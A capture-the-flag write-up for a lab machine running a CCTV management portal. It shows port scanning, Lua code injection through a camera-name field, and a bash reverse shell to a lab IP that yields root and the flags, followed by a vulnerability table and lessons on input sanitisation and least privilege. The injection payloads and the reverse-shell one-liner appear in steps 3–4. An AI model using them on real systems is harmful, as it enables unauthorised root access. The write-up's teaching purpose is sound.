TL;DR
CCTV is a Linux box running a custom CCTV management portal. The backend processes camera names using Lua with unvalidated input in os.execute(). Injecting Lua syntax into the camera name field runs OS commands as root. No privilege escalation required — the web service is misconfigured to run as root.
Recon
1. Port scan
$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx/1.18.0
8554/tcp open rtsp (RTSP camera stream)
2. Web application
The management portal at port 80 shows a camera dashboard with a “Add Camera” form. A name field accepts arbitrary input for labeling cameras.
Examining HTTP traffic reveals the backend uses a Lua-based configuration engine that processes camera names directly.
Code Injection
3. Test injection in camera name
Capture the “add camera” POST request in Burp. The name parameter is processed by Lua:
name=test');os.execute('id');--
Response reflects command output in the server response — code execution confirmed:
uid=0(root) gid=0(root) groups=0(root)
4. Reverse shell
name=test');os.execute('bash -i >& /dev/tcp/10.10.14.x/4444 0>&1');--
$ nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
root@cctv:~# id
uid=0(root) gid=0(root) groups=0(root)
5. Flags
root@cctv:/home$ ls
operator
root@cctv:/home/operator$ cat user.txt
[user flag]
root@cctv:~# cat /root/root.txt
[root flag]
What’s actually broken
| # | Vulnerability | Severity |
|---|---|---|
| 1 | Lua code injection via unsanitized input | Critical (CVSS 9.0) |
| 2 | Web service running as root | Critical |
| 3 | No input sanitization in camera management | Critical |
| 4 | RTSP stream accessible without authentication | Medium |
Lessons learned
- Never pass user input to scripting language eval/execute functions. Lua’s
os.execute(),load(),loadstring()— all execute arbitrary code. Sanitize input and use parameterized configurations (JSON/YAML with typed fields, not script interpolation). - Web services should run as minimal-privilege users. A CCTV management web server has no reason to run as root. Create a dedicated
cctvservice user with access only to required resources. - IoT and embedded systems are the wild west of security. Many embedded management interfaces have Lua/Python interpreters accessible via web forms. Code injection is endemic in this space.
- Injection characters vary by language. For Lua:
',),os.execute. For shell:;,|,$(. For Python:__import__. Always probe the specific language in use.
Decision archaeology
| Approach | Result | Pivot |
|---|---|---|
| Targeted web form injection before RTSP | Web injection is lower friction than protocol-level attacks | Correct — RTSP was a red herring |
| Identified Lua from HTTP headers/error messages | Server revealed Lua in error responses | Guided correct injection syntax |
| Got reverse shell vs reading flags directly | Stable interactive shell better for enumeration | Root shell, both flags found |
| RTSP authentication bypass before web injection | Tried vlc rtsp://10.129.x.x:8554/stream — RTP socket connect error: Network is unreachable — port 8554 filtered from VPN subnet | Redirected to HTTP web portal (port 80 reachable) — found camera name injection vector |